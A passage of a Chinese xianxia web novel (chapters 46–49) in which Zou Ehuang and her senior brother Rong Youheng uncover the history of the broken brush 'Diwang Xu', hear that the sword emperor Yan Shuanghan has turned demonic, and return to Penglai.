一剑既出,天下皆知。 能让天上真神被吓得肝胆俱破的这一剑。 剑心、剑意、剑骨,都没有。 只有本命神通。 这本命神通,无关神识,无关五行,无关战气。 名叫不辞的本命神通,并没有丝血反杀的强大力量,也没有一剑落万物生的超绝能力,甚至都不如那最常见地给剑增幅。 单论修真界,这名叫不辞有关意念的本命神通,绝对是最废物的没有之一,甚至它哪怕用到凡人身上,也无丝毫作用。 对于一般人来说,它只能让剑很亮,但不能以剑伤人。 但是对于疯了的真神来说,这就是宴安鸠毒,因为这名叫不辞的本命神通,在问心。 这是一把,无名的问心剑。 问心无愧者,求一个我心不辞,非诛心,乃问心。 这剑,好像这世间早已埋伏好的一手,生来就似乎是为了天上那群高高在上的神准备的。 也就在这个时候,东方的天,终于亮了。 黯淡的黑夜,逐渐透出了浅蓝的微光。 “星盘,被收起来了。” 邹娥皇喃喃道。 “是何言知手握密州令,知道我们已经成功解决了异目,所以才解除的么?” 容有衡听后微微笑,补道:“还有第二种情况,那就是,他被那只未成年的久俊,打趴下了,于是星盘不得不收。” “师妹,你觉得会是哪一种?” 咕噜咕噜的笔杆随着起伏的土坡不断滚落,最后在容有衡话音刚刚落下的时候,飘到了邹娥皇面前。 邹娥皇看着面前的这只笔,觉得有些许地眼熟。 第46章 他入魔,算什么好事 邹娥皇捏起手里的这支笔。 有些烫手。 她并没有回答容有衡的问题, 而是反问他:“师兄,这支笔和异目,有什么关系?” 这支笔她一共见过两次, 一次就是在复活何言知的时候,吸干了何春生的养分,被异目裹挟着带走;一次就是现在,异目消失, 它又出现了。 “这支笔叫帝王须。” 容有衡低声回答她道。 帝王须! 好耳熟的名字。 “道祖课上,好像讲过一次,”邹娥皇尴尬地笑了, “但我当时睡过去了。” 容有衡点了点头, 眼睫下闪过一丝不显的笑意,他道:“我知道。” 他这辈子很少上课,素日里在众人面前营造的形象也是过目不忘的学究, 就连道祖有时候什么不知道的, 下意识地也会去问他。 于是细细算来,容有衡一共只在蓬莱听过两节课。 其中有一节, 就是有关帝王须的那节。 当时他坐在邹娥皇身后, 看着她的头越晃越低,最后倒在身侧李千斛的身上;满座皆笑,唯有当事人睡得正香。 “天生灵器一共分为天地玄黄四类,但目前为止,修真界有迹可查的只有那劈山而出的应天斧, 算是地级里的最高一品,至于天级, 传说中生来就带有天道法则的灵器,从没有人真正看到过他们, 很多人都说这世上或许根本不存在天级灵宝。” 容有衡缓缓念出回忆里道祖那节课的最后一句话:“而帝王须,就是传说里的天级灵宝。” “师妹,你握着这支笔,什么感觉?” 邹娥皇迟疑地摇了摇头。 她不太识笔,但却也是见识过好笔的。 年轻的时候,她曾摸过天机子的判官笔。 那是一支传闻中和帝王须并列的好笔,但并非天生灵器,而是后天由一炉造万物的丹王打造而成。 当时年轻气盛,邹娥皇并不识货,拿那支笔要在睡沉的天机子脸上涂鸦,结果还没下笔,手碰到笔杆的地方就落了一个又一个煤印。 久久难消。 后来邹娥皇才知道,有品级的灵宝天生就带有一定的灵泽,未经允许擅动者都会在身上留下显眼的痕迹。 但是此刻被她握在手里的这只帝王须,除了笔杆还发烫,朱红的笔身,雪色的长毛,似乎和俗世里用来批红的笔并无二样。 天级灵宝,居然这么朴实无华地么? 似乎是看出了她的疑惑,容有衡叹了口清气:“没有感觉就对了。” “因为这支笔,坏了。” 随着这声落下,他接过那支笔轻轻一掰,一声清脆的响声从中间传出,细微的木屑弥散在半空里。 这支帝王须,笔杆居然是中空的。 “帝王须依天地而生,有改造规则的能力。” 邹娥皇问:“改造规则那些神难道是以这支笔为介质,获得了降世的能力,所以这支笔才坏了么?” “不。” 容有衡摇头,“因果反了师妹,这支笔坏在先,神插手在后。” 真的有人能做到事事料到么? 大约是没有的,容有衡想。 算无遗漏如何言知,得来了一次复活的机会,可竟不如不算的好。 连这样智多近妖的人都如此,遑论其他人呢。 所以,当那个先天下之忧的泥腿子皇帝,终于为了这支笔,为了他的大业,死在密州的时候。 大约不会料到,已有腐蚀的皇权居然还要再蔓延三千年,断了龙脉的帝王须居然成了天上神物色的介质。 那个死到了了不过才四十出头的周平,死的时候应该还是带着笑的,以为自己是救世的英雄,泥里滚出来的活神仙。 容有衡曾远远地和周平打过一个照面。 五千年前,这十四州最后一位开国皇帝,乘着步撵踏上蓬莱的时候,眼底里永远都有旁人瞧不懂的忧郁。 旁人都以为周平其人野心大,远超历任皇帝,但所有人都把他的野心局限于一个帝王,一位天下共主的角度,以为三上蓬莱的周平,是要把皇权凌驾于世家之上。 从某种角度来说,世人对这位周天子的评价并无错,唯一错了一点的是—— 周平的野心,比他们想象的都要大,也都要小。 都要大是因为,别人说破天了,以为的不过也就是权力声名那么一两件事,根本没想过周平要的不是成为规则的执行者,而是规则的制定者。 都要小是因为旁人就算笑骂他是位泥腿子皇帝,重点也在后面的皇帝两字,泥腿子甚至都变成了对他能力的一种称赞。 却根本没想过,这位坚守初心,哪怕最后从屠龙少年变成了龙,从乞丐变成了仇视的天子,他也依旧是恨着这个位置的。 他根本不会因为觉得现在坐在龙椅子上的是自己,就觉得这样的一个位置该存在。 四十岁的天子已经不是当年那个年纪轻轻的放牛娃,可喉咙里仍有一口血气未出。 凭什么,他的媳妇要死,那些官家就不用死—— 凭什么,都是娘胎肚子里出来的东西,谁给规定的三六九等。 周平骗了何言知,拿改天换地为饵,哄人家给他打天下;但周平同蓬莱道祖下棋论道那日,并没有骗道祖。 他明明白白地告诉云无心,人压在人的头顶上根本就不对,就像是这天下根本不该再多出一座岛凌驾于十四州之上。 蓬莱道祖却只反驳了周平一句:“那你该杀人么?” 只听得一声斩钉截铁的回答:“该。我杀该杀之人,他们有本事我也放他们来杀我!” 蓬莱道祖意味深长地哦了一句,“那就不对了。” “既然你觉得能力大就能取人性命,那他们觉得自己能力强,凭什么不能骑在别人头上。” “你不想要龙椅存在,所以自己先坐上了这把椅子,但你有没想过,这天下总是需要一个主人的,无论是皇家还是世家,否则就是人被天下骑在头上,无法集结的人,将在繁衍生息的黎明之前,先死于洪水旱灾。” 周平不服气:“那可以设官” 蓬莱道祖叹了口气:“谁来约束官?” “周平,存在既合理,所有的位置都是有其原因的,本座欣赏你的初心,但你太急了,你在急什么,合道寿命万年有,你如今,在急什么?” 在急什么? 周平修炼快,打仗快,平天下快,人人都说他是个天才,所以做什么都快,但唯有蓬莱道祖,语气平波无澜,却一针见血。 周平无法说* 。 他只是浓眉一瞬间阴翳了下去,问蓬莱道祖要了个帝王须可能存在的地方就下了山。 是密州。 临这位脾气大的泥腿子皇帝下岛的前一刻,容有衡才听见一句被淹没在风里的呢喃:“我急什么…我再不急我老婆都好投胎了…万一出身不好,还要再给这些金玉其外败絮其中的大小王当奴才吗,呸!” 五千年前的一个下午,和父亲吵架坐在床头打坐的何春生,无意中甩出那支被师父传给他的帝王须,百无聊赖地做着振兴家族的美梦。 窗外不知何时传过一阵悠扬的笛声。 那是穿着夜行衣的贼人摸住了那支笔,然后掏出了藏于笔杆里的天墨,从此远走高飞。 周平放过了帝王须,拿走了帝王须里的帝王墨,挥改了天地规则,逆转了那一分看不清说不明的气运。 从此周天下之后,再无皇帝。 他以为他是对的,但他忘了,他只是一个人。 是人,就会有偏激,有急躁,有力所不能急。 比如说他一心一意要把天道规则磨平,却忘了去想,如果这天道一开始就是为了镇压众人存在,那为什么还要多此一举设立此笔交于稚子保管。 或许,这支笔不是为了制定,不是为了镇压,这只是它所有规则里最不起眼的一项。 帝王须是一支阵法笔。 既然是因阵法,天地才托生出的这么一支笔,那么它一开始就不是为了周平以为的规则存在。 帝王须,是为了保护。 就像是封建的皇帝,其实除了寻欢作乐的昏君,也有以死捍国的明君。 帝王须,它是捍卫本世界的一种手段,阻止上界飞升者从阵法里伏行的一支笔。 但是,当它没有天墨之后,与生俱来的楠竹躯壳,则让这支笔成为了异目借生的最好容器。 周平错了么? 周平没错么? 至少他死前的前一刻,睡的前所未有的香甜。 身后事,又与此君何干? 关于论道那日,蓬莱道祖的诘问,周平用他的走向,谱写了另一份回答。 如果,不确定这个世界上到底该不该有统治者。 ——那么不妨,把答案交给后来者。 何言知料错了,他拿星盘也没有猜出来。 天地最后一块帝王墨,并没有用来谱写新的规则,只做了一件事情,将所有的气脉都涂黑。 无论你是祖上官荫,还是紫气东来,通通都给我打散,搅混。 …微微凉的天色落在邹娥皇脸上,她正一脸困惑地看着忽然沉默不语的师兄。 须臾,察觉到邹娥皇视线,容有衡僵硬地勾了一下唇,“师妹,你还没回答我的问题,何言知和那小妖王,两者之间到底谁胜谁负?” 邹娥皇踏在松软的土地上,忽然摇了摇头:“他们谁都没有输,输了的是我们。” “何言知这个人,我不该信他的。” 在邹娥皇那张死木般的脸上,终于出现了气恼这类的情绪:“久俊这类妖,法相惊天动地,你之前同上一代妖王打的时候,天崩地裂不足为过。但是如今,密州毫无动静,只有星盘收起,那只能说明一件事,何言知跑了。” “星盘撤掉,不一定是因为他发现我们捉到了异目,也不一定是因为他被久俊打伤,还有一种可能是,他和那妖又达成了什么协议,所以收了星盘放它离开。” “师妹聪明。” 容有衡喟叹一声。 只听得邹娥皇低声道:“我不该来杀异目的,我不该信任他的。” 容有衡拍了拍她的肩,觉出一片凉意。 他心里一惊,想师妹哭了么。 浓睫狭长的眼凝神去看,才发现那凉意不是泪,是山间树林凝结出的晨露,打湿了那一小片肩膀。 也是,邹娥皇怎么会哭。 容有衡松了口气,“这些事情说破天了,到底关你什么事,若你不救他,说不定事情还要更糟,单说异目就不可能被抓到,帝王须成为了它们源源不断的载体,再说妖族侵蚀十四盟也就不会被发现了。” 这句话是真的,上一辈子发展到后来的附骨之疽,一开始可能就是因为少了这一点偏差。 邹娥皇确实不会哭,她只是握紧了手,眼珠盯着地上的小石子。 然后有好半响,容有衡听见她说: “师兄,我其实知道,妖王今日多半不会留在这里,甚至就算留在这里了也未必是什么好事,难道要看着妖族内部动乱么?我其实也知道,何言知还不至于叛变人族。儒道,乃人道,他可以杀人,只要是为了忠君,天道不会给他判错;他可以枉法,只要为了仁义,百姓不会对他微词。但如果他叛逃,那无异于自毁道统。” “但我过不去心里的那道坎。” “我过不去的。” 她没法接受对方一而再再而三的背信。 好吧。 也没办法接受自己一个坑一个坑往下掉。 哪怕她明知道,兵道者,诡异也。何言知甚至可能都不是故意骗他们的,就是多年战场上锻炼出来的虚虚实实而已。 但他放妖王走了,在没有一声交代的情况下,在不知道这边异目是否被除的情况下。 提着剑的女修终于抬起了头,眼中闪过的不是杀意,而是一种冷然。 这种冷然,让她仿佛变成了一把出鞘的剑,锋芒毕露。 她难道天生欠他的,该被当猴耍么? 邹娥皇踢开那颗石子仰头,心里乱成一锅粥。 泥人尚有三分气性,她此刻就像是一口气堵到了嗓子眼,又不知道怎么才能吐出来。 容有衡在这个时候觉得他该说什么的,就算说不了什么,至少也该做什么的。但他刚要默默给邹娥皇披上一件衣帛的时候,就听见了嘈杂的声音。 不是从四周传来的,而是天上。 万里无云的晴空,不知道何时起涌现出了一堆密密麻麻的黑点,如同蝗虫过境,然后一个个又像下饺子一样扑通扑通地跌落到地上。 其中就有几个正好跌在两人身前。 “哎呦喂,疼死老子了。” “什么鬼,好端端的大家都跑什么?” “嗬,宴霜寒入魔了,刚刚那剑气你看到没有,跑的再不快点,只有等死的份了。” “魔怎么会是入魔,”有修士仍心有余悸,喃喃道:“魔这东西不是早就被剿灭了么?” 几个修士说的正起劲,却忽然就被人拍了拍后背。 “你们在说什么?” 邹娥皇笑眯眯的,一转方才的郁色,蹲在几人面前问道。 “说” 三个人面面相觑,气氛诡异地安静了一瞬,谁也没想到这深山老林里居然还有人。 终于,一个看起来是管事的咳了咳嗓子道:“小友恐怕有所不知,你有没有发现昨日的晚上长的不像样?” 邹娥皇装作若有所思,慢吞吞道:“好像是这样。” “那是因为有人封锁住了密州,”男子得了她的肯定,逐渐忘了自己刚刚的狼狈模样,拿手比划了起来:“有人封锁住了密州,道祖在第一时间发现,于是召开了会议,然后在刚刚,发现密州解封了,就派我们出来救援密州。” 邹娥皇又点了点头,然后问:“我听阁下刚才说,宴霜寒入魔了?是我知道的那个剑皇么,他怎会入魔?” 容有衡站在旁边,轻轻啧了一声。 “哎,别说是你们这群呆在密州什么也不知道的人震惊,”男子叹了口气,“你瞧我这身,可是拿灵丝新做的法衣,就在刚刚,被他的剑气余荡成了这个样子!” 男修士一边说,一边打了个响指给自己换上了另一套蓝色长衫。 “我还算好的嘞,当时场面不少人都血流成河了不,还好道祖等人都在,要不然我等岂非有命活着回来?他们昆仑的几个掌教离得近的,都死了。” “谁知道宴霜寒到底是为什么入魔的,魔早就被荡平了,现在天下哪里能找到魔修,就是找到鬼都比找到魔修容易,莫非是死海那群魔物干扰的?” 不,不该。 邹娥皇听了这几句话只觉得荒谬。 宴霜寒那样的一个人,那样的一把剑,怎么会入魔。 他折了无数人的剑心,但没有听谁说过他曾败。 哪怕容有衡,就算能用别的方式打赢宴霜寒,也不能用剑让这剑皇低头。 如今她终于拔出剑来了,怎么他就入魔了? 她难不成在密州失联的不是一日两日而是好几十年么,怎么连这么离谱的消息都能听见。 她木这张脸,只听见对面的人又道:“不过说起来,宴霜寒入魔对于某个人来说一定是一件大喜事。” “三十年河东三十年河西,莫欺少年穷,此话果真不假。哎,昔日看他剑皇风光得意,但眼下竟已经入魔,那邹娥皇却再度握剑,对她来说,大抵也算这人间难得的喜事!” 邹娥皇:“何喜之有。” 说话的男修士怔然,不明白怎么刚刚还很捧场的姑娘会突然反驳这句话:“小友?” 邹娥皇摇了摇头,不再说话。 “对了,”身穿亮蓝长衫的男修士挠了挠头:“小友,我等是接了十四盟的任务,来密州救援的,在下负责的是找到蓬莱一行人,你见过一个叫邹娥皇的女修么?” “个子不高不矮,人不胖不瘦好像有点抽象,反正是一个穿着玄黑色道袍的人” 然而,男修士的声音说到最后越说越低。 等等。 他的眼睛慢慢睁大——面前的这个姑娘,不就是不高不矮,不胖不瘦,穿着一身黑衣的吗? “哦,找邹娥皇呀。” 那蹲膝背剑的姑娘语气微妙,她道:“我就是。” 第47章 好像容有衡一早就知道一样 世事实在无常。 上一秒还在和你一起听信儿的姑娘可能就是故事里的另一位主人公, 昨日还威震天下霜寒十四州的剑皇下一秒可能就变成了万古第一的魔皇。 但是比世事更无常的,是这个叫“容无常”的散修。 越灵泽摸了一把头上的虚汗,他是炼丹世家的大少爷, 入十四盟不过也就是混个名头,身上穿的蓝色长衫别看低调,但其实是东海蚌族几十年才能织出来的一件珠衣 总而言之,这是一个有背景的修二代。 没有皇帝的年代当然就不会有官可言, 但有人的地方就会有等级,区别就是跪与不跪而已。 越灵泽这类人,哪怕在十四盟也是横着走的存在, 除了今日降地的方式算不得体面外, 平日里去哪里旁人都给他几分颜面的。 但独独这叫容无常的散修,视他于无物。 方才邹娥皇说出自己身份后,越灵泽先是虚心了下, 有种背后蛐蛐说到正主面前的感觉, 于是打个哈哈站了起来,迅速锁定了邹娥皇身后的容有衡, 试图转移话题。 “咳咳, 邹仙长身后的兄弟,我看穿着十四盟的衣服,呀,仁兄的名字叫容无常啊。” 越灵泽视线留在容有衡系在腰外的令牌上停了一秒,面上浮现出一丝不显的倨傲笑意, “不知是在哪个仙尊手底下做事?” 容有衡似笑非笑,“尚未。” 越灵泽面上一喜:“尚未就是还没有被人举荐咯, 既然这样,相逢即是有缘, 容兄若是想在十四盟做出一翻仙途来,万万少不了有缘之人的举荐,我乃越家嫡系,太爷是十四盟那赫赫有名独臂越公,不才,可为容兄举荐一下。” 说罢,越灵泽就目不移地盯着容有衡脸上的神色,企图看到对方露出动容的神色。 但只得了对方淡淡的一个白眼。 不远处,邹娥皇颇有些一言难尽。 独臂越公这个名号她是听过的,几百年前,曾经叫妙丹越公,后来被她师兄折断了左臂,就成了独臂越公。 但越灵泽这几句反倒提醒了她另一件事情。 她先前一直没有注意过,或者说注意了也没有细想过,为什么容有衡要假死脱身,又为什么再次相见的时候混进了十四盟当一名散修,在分部遇见的时候,李三对他极尽谄媚,说明级别不低。 容有衡注意到了邹娥皇的视线,心里突了一下。 他实在太熟悉邹娥皇这样的眼神,上辈子的时候见过无数次,每次这样盯着他的时候,大约就是说明她要搞事了。 但没想到,下一瞬,邹娥皇将视线收回,转头须臾对着越灵泽一笑:“走吧,不是要接蓬莱人么,叫上找昆仑的一起,他们现在都在一个地方,跟我走吧。” 路上,容有衡偷偷落后几步,反复回头去看邹娥皇脸上的神色,“师妹,你刚刚是不是有什么话想问我。” 短暂地解决了一个位置的异目,妖族的事情也暂时被按下了,容有衡此刻有一肚子的话想要脱口而出,只差一个契机。 差一个,邹娥皇稍微关心他一句的台阶。 邹娥皇微微笑:“怎么会。” 她又不是乐子人,既然师兄不提那些年的事情,她何必主动问。 于是容有衡只能闭紧了嘴巴,将呼之欲出的话咽了下去。 是了,师妹上辈子这辈子一向对他都淡淡的,怎么会好奇他的事情。 他就是死在外面二十年,也不见得她落一滴泪。 …… 十四盟落在密州的大殿历经一晚上的变动,已经成了半个废墟场,到处都是滚石与尘气,邹娥皇有些心虚地在被剑气震碎的护阵宝石前顿住了脚。 只听越灵泽极其夸张的声音冒出:“怎么回事?连这些玉灵石都碎了,还是被气荡碎的,怎么可能,那些大乘都在蓬莱里坐着,密州怎么会有人做到这种地步?” 越灵泽稍稍平复下心情,盯着邹娥皇:“所以果然密州封锁是发生了什么了不得的大事吧。” 他并没有注意到邹娥皇心虚地背过手,顾左右而言他,后退两步:“这个那个嗯,这些宝石很值钱么?” 越灵泽呼出了一口气,“何止值钱,整个密州不过也就这一座分部装了四颗,买下几座城池不是问题。” “哈哈,”容有衡听见邹娥皇苦笑了下,然后她道:“不是人,是妖,昨夜被一只妖打碎了,账单寄到妖族吧。” “妖,你们昨夜还有妖族的事?”负责救援昆仑的是几个散修,闻声都凑了过来。 邹娥皇摆了摆手,“九死一生,不说也罢。” “唉,最近真是多事之秋,”越灵泽感慨,“前有剑尊变魔尊,后有妖族潜入密州,说到这里,密州封锁是不是也是” 下一瞬,却有一阵温凉的男音轻轻打断了他。 大殿上,几百号人一宿未睡,唯有守在门前的曲轻云还屈双剑撑着半身,好似变成了一尊守望的雕像。 此刻,他那双凤眼紧紧盯着刚步入大殿的几人,心情复杂道:“你说谁入魔了?” 越灵泽看着那纯白的剑袍上有昆仑的徽章,心里突了一下。 “宴剑尊宴霜寒——” 话音一落,众人面面相觑。 唯有曲轻云呼出了一口气。 不止是他,他身侧的几名同门,那些个叽叽喳喳一看就藏不住事的小剑修们,此刻神情似乎也很镇定,就像是早有预料。 反观谢霖郑力洪兴龙,这些个被困在殿上一宿未睡的人心里咯噔一跳,谁?谁入魔了? 入魔这件事,在一起或许不算少见,走火入魔么,修士修着修着说不定就出了什么岔子,灵气逆行,成了魔修。 一念之差而已。 但是在今天,魔修被荡平的年代,道统尽失,哪怕有人灵气逆行,也没有那等逆天功法去修。 怎么会突然有人入魔了,还是宴霜寒、这个名头响彻天下的剑尊? 昔年一剑斩妖王,几千年的剑道之巅,这样的人,怎么会入魔? 甚至不少人都曾怀疑,宴霜寒连心魔都没有。 满座喧嚣里,迎着无数窥测的目光,曲轻云慢慢摩擦着手上的双剑。 宴霜寒,终于入魔了。 这代表着,怒浪滔天的死海,魔物哀嚎的死海,这世上最后一处容纳罪孽与怨胀的地方,终于变成了一片平静的静海。 他们都说宴霜寒的剑强,但他们不知道,很久之前,这也是一把清剑,可锐不可当,所以剑下亡魂不计可数。 直到有一天,闭关苦久的剑皇,从白阁子里慢慢踱出,指着无边的死海,指着满目腥红,对着昆仑人道,他要炼一把魔剑。 但是那一日,离今天实在是太远了,远到曲轻云险些都忘了,宴霜寒这个极度不按常理出牌的男人,居然还惦记着这件事。 并且为何是当下这个时机。 炼成功了。 这世上魔修道统被毁后,其实还留下了一条入魔的途径。 以器载道。 人决定了手里握的剑是一把什么样的剑,反之自然,你的剑也会影响到你。 越灵泽摸了摸鼻子,他觉得气氛有些凝滞加上有些若有若无的剑气不怀好意地萦绕着他。 于是迅速地转了话题,“诸位都受苦了,这件事是十四盟的责任,等回去之后一定会给诸位一个交代,大家清点一下人数,如无遗漏的话,一会我们的飞舟就到了” “还有一个人。” 方半子抱着郑力的腿,奶声奶气地开口。 周围人似乎是想到了什么,纷纷附和道:“还少一个人。” “谁?” 越灵泽问。 谢霖:“张三。” “张啥张啊,”洪兴龙重重锤了下谢霖的后背,“尊重一下别人成不成明明是李二!” 张三、李二? 越灵泽困惑地想,真有人叫这种名字么。 唯见曲轻云面不改色,“是李三。” “方才事发突然,我们遇到了妖最后这位叫李三的修士挺身而出,嗯,临走前留下的一句话,是让我们照顾好他的寡奶,我记得十四盟是有什么条例的,是么?” 越灵泽脑子有些晕乎乎地,还沉浸在这条消息里脱不出身来,他并没有回答曲轻云的话,而是恍惚道:“你是说,十四盟和妖族勾结,所以密州被封锁?” 曲轻云叹了口气:“正是。” 知道真情的邹娥皇见容有衡没有说话,便懂了异目什么神什么,这些事情并不适合放出来讨论,包括跟着妖族走的大乘,在本就人心浮躁的当下,容易引起反效果。 所以将锅推到十四盟叛徒的身上,再合适不过了。 只见越灵泽两眼一黑,愤怒地跳脚:“我靠,我就知道,这些妖族图谋不轨,这些镇殿宝石也都被他们破坏了个一干二净,真是可恶,可恶,可恶可恶!” “什么,这些玉灵石是——” 曲轻云看向邹娥皇,刚要开口,就见一直面色平平无奇,很有高手风度的白发女修露出了一个窘迫的笑,冲着他疯狂摇头。 人艰不拆。 “对,”一生从未撒过谎话的曲轻云,迟疑了片刻后终于缓缓开口,“是妖族干的,是一只石头妖,它头硬砸出来的。” 邹娥皇呼出了口气,这个时候她又看了一眼身侧的容有衡。 她突然意识到一件事情。 她这个大师兄,无论是十四盟叛变、妖族、神、异目还是宴霜寒入魔,都显得格外的镇定。 好像这些事情,容有衡一早就知道一样。 而刚刚曲轻云说李三去当探子了,突然启发了邹娥皇。 容有衡消失的二十年,都在十四盟么。 他会不会一早就知道十四盟有异变,所以提前混了进去。 只是可能么? 第48章 师伯笑得挺开心的 十四盟的方舟来的很快。 短短二十年内, 十四盟能在这偌大的修真界立足,靠的就是速度。 邹娥皇托腮坐在方舟上,风吹动她的发梢, 她有些困了。 但她睡不着。 心里好像还有块石头没落地。 找到了未来会灭掉蓬莱的龙傲天,提前抓住了妖族叛乱的苗头,假死二十年的师兄再度上线奇怪,到底忘了什么呢? “邹前辈。” 曲轻云走了过来, 自从见过那一剑后,他对于邹娥皇便很敬重了。 以剑服人,这四个字在哪里都是行得通的。 “久闻你们蓬莱这代大师姐姓青名度, 为人谨小慎微, 擂台从无败仗,不知可否得一见之缘” 话落,只闻风声, 不闻回音, 曲轻云便有些心悸。 以为是自己逾矩了,毕竟他和青度是明面上的竞争对手, 贸然一见确实不太好;下一秒却听“啊”的一声, 邹娥皇脸色发麻。 她终于明白,自己忘了什么了。 青度,是青度啊 “快,快,快把舟倒回去!” 方舟一经定轨绝无返航之说, 所以到最后,容有衡看着邹娥皇频频侧顾的眼神, 磨了磨牙,终于是说:“我来。” 容有衡是个懒人。 这点体现在方方面面, 譬如说修行时他向来只学最便捷的路线,从不肯多走一条弯路,干仗时他刀刀毙命,永远都是速度取胜。 昔年蓬莱道祖都未必能差使他半柱香,偏偏面对邹娥皇,他无论前世还是今生,一开始就有使不完的耐心。 半个时辰后,容有衡面无表情地从裂缝里走了出来,身侧站了个半瘸腿的青度。 容有衡掀起眼皮去看,却只见得他师妹正在和谢霖说话,丝毫没意识到他已经带着人回来了。 流风吹起邹娥皇的鬓发,温润微凉的眼珠在晨光下映的很好看,灿灿如曜石。 她正在对着谢霖笑。 容有衡不知道有多久没见过邹娥皇这样的笑。 不是微微笑,不是客套地笑,也不是窘迫的笑,而就是像清晨的小花,开得正盛,无忧无虑。 他下意识地要上前一步,但最后拳头握的紧紧地,仍是立在原地。 还没到时候,他不该离她太近。 远远地看着邹娥皇就很好了。 反观瘸着腿的青度,面无表情地柱着拐杖就跳了过去。 噔噔噔的拐杖声在地上砸出了一个又一个坑。 聊得正开心动邹娥皇忽然觉得后颈微凉,她忽有所感地抬起了头,却只见得一双冰冷的黑眸,森森凝视着她。 青度:“师伯笑得挺开心的。” 邹娥皇:“……” 万幸,这次的方舟并没有出什么岔子,用的是救援里专用的,上一次出动还是二十年前的雷舟,片刻即千里,不过抬眼,就是蓬莱。 邹娥皇的心忽然跳得很轻。 近乡情更怯。 在密州走的这一趟回来,邹娥皇迈入蓬莱岛的那一刻,结了痂的伤口又开始阵阵作痛,心里之前的不安、惶恐、无助,当落下的脚的一刻,具变成了尘埃。 去时锋不显,归来已出鞘。 巨大的气浪随着方舟降地滚滚铺开,蓬莱上山道旁种了绵延的柏树,此刻微微抖着,仙雾缭绕半山腰。 只见半道上,立了一位窈窕身姿的姑娘,她峨眉臻首,穿了一身流光溢彩的仙裙,掩在云雾里,如画中的人。 传闻中的修真界第一美人,李千斛,单论脸型、肤质,其实并没有美得很出色,但是她的眼睛,抬头望你的那一刻,少有人不为之心折。 那双眼睛,清冷,温柔,但绝不柔弱。 …… 李千斛已经在这半山腰上等了很久了,直到绛色的披帛被山间的云雾打湿,她才终于看到了方舟露出的尖头。 她褐色的水眸凝视着愈来愈近的方舟。 “师姐” 李千斛轻轻呢喃。 密州失联的那一刻,她心焦躁不安。 李千斛以为这就已经算失控了。 但是直到此刻,她看着方舟之上。 看着邹娥皇鬓角的白发,不复先前的修为,看着师姐满身的伤,走路的步子还有些许瘸拐的时候。 李千斛内心就好像点燃了一把火,一把火烧的她理智尽失。 谁伤了她的师姐。 这个念头久久不消,以至于纵使她见到了假死归来的大师兄,度过生死劫的师侄看到了师姐那把铮亮的重剑出鞘,李千斛心里,仍是只有一个念头。 师姐怎就伤着了。 李千斛眉目微冷,比起见到师姐历尽千帆拔出了剑,她未尝不愿意师姐留在山门中,当个富贵闲散人。 “师妹。” 邹娥皇轻巧地从方舟上一跃而下然后高高搂住李千斛的脖子,“你看看我给你带回来了什么。” “什么?” 李千斛被这温热的一抱冲淡了些许伤神,浅浅笑了下。 “我给你带回来了个孩子。” 啊? 什么??? 小孩?谁和谁的。 李千斛指尖微颤,连连后退。 貌若皎月般的美人都出现了一丝狰狞。 邹娥皇没管神情恍惚的师妹,起手冲郑力招了招,示意他把方半子抱过来。 既然现在,那本书的剧情已经崩了,邹娥皇觉得,那其实还可以再崩一点的。 首先,现在方半子是他们蓬莱的自己人了。 其次,带娃娃要从小带起。 最后,凭她对自己师妹的了解,如果方半子一开始在她这里只是一个奶娃娃的形象,那么多半,以后也就是一个奶娃娃了。 不会存在什么师徒虐恋,也就绝不会存在后宫。 李千斛唇边的笑意还没冷掉,怀里的人就已经从师姐变成了一个五岁大的小孩,小孩眼睛锃亮,看着她还会咧嘴笑一下。 李千斛:“师姐,这是谁的孩子?” 郑力:“我的我的。” 不对,郑力猛地拍了下自己的脑袋。 只见这个生了吊梢眼脾气暴躁的占星师,头一次学会了轻声细语。 他小心翼翼地看着芙蓉美人面,痴痴地想这名震天下的美人原来是这样,竟比画里的还要好看十倍、百倍。 郑力顿道:“咳,姑娘,我叫郑力,无父无母,有良宅四座,尚未娶妻,有些许薄款啊,这个孩子不是我的,是我徒弟,姓方,名方半子。” 不远处,背着手的容有衡,听到方半子这三个字的时候,终于似笑非笑地转过身来。 嗬。 他上一辈子见到方半子的时候,对方已经是个青涩的少年了,胡子渣留在清冷的下颌上,剑眉星目,背上背着把斧头,跟在邹娥皇身后片刻不离,逢人就说我师父师父如何。 这辈子么竟还是个五岁的小鬼。 但是容有衡最后还是吐出了一口气,如果、但是、就算—— 不行。 他师妹,上辈子是真喜欢方半子呢。 他又怎么能借着重生的便利,改变她的想法。 方舟投射的阴影里,容有衡微不可见地后退了一步。 方半子困惑的看了一眼,然后浑身打颤。 师父,救我,这人看着我的目光好奇怪! 第49章 我还能活 蓬莱道祖看着很慈悲。 他像是寺庙里随处可见的扫地僧, 又像是上了年纪的懒猫,趴在阳光下一动不动,见到人来还会友好的抬抬爪。 这样的道祖吧, 很多时候,其实没有人能真正理解,又或者蓬莱道祖本也不是人。 只是一朵云,天边的云。 心情好点的时候是祥云, 落在你头上给你挡阳光;心情不好的时候呢,就是朵乌云,在你头上电闪雷鸣。 乌轰乌轰地吓人。 当给众人接完风, 李千斛告诉邹娥皇, 道祖要找她和容有衡的时候,曾隐晦地指了指凝水的天色,意思就是今日, 很不幸—— 蓬莱道祖是一朵电闪雷鸣的乌云, 脾气很大。 邹娥皇停在道祖院外,迟疑了很久, 几秒后还是在原地徘徊。 倒不是她怕师父, 也不是她心虚。 毕竟真正该心虚的那个还走在她身后,端着师兄的架子。 邹娥皇摸了摸满头银发,她只是觉得吧顶着这样的头去见道祖,不太好。 徒弟瞧起来比师父还老,那算怎么个事。 于是邹娥皇脚尖磨磨唧唧地挪动了几下, 竟还是寸步未动。 她站在种满艳花的院外,看着泊泊涌动的小溪, 此刻满园芳菲,和这萧条紧绷的外世恍如两个世界, 直到一声幽幽的叹气声从容有衡的口里传出。 他这个大师兄,风轻云淡地跨过邹娥皇,然后道:“师兄给你打个样。” 关于容有衡到底是去打个样,还是当个挨骂的沙包这件事还不好说。 但毫无疑问的是,邹娥皇当下是感激他的。 因为,从他迈入小院的那一刻,风不静了,云不淡了,满园美好变成了从四面八方席卷而来的咆哮。 等容有衡再出来的时候,已经是半柱香后。 这半柱香里,“假死二十年…小兔崽子翅膀是真硬了…去十四盟埋妖族的线…你有病啊…”“去死”“滚”等粗俗的字眼从屋内隐隐往外传出。 邹娥皇同情的捂住耳朵。 容有衡进去时整洁的衣服已经变成了破破烂烂的乞丐服,束的一丝不苟的黑发已经狼狈地一茬高一茬短,像是被无数把小刀切割过的杂草。 现在浑身上下,就一张俊脸还算干净。 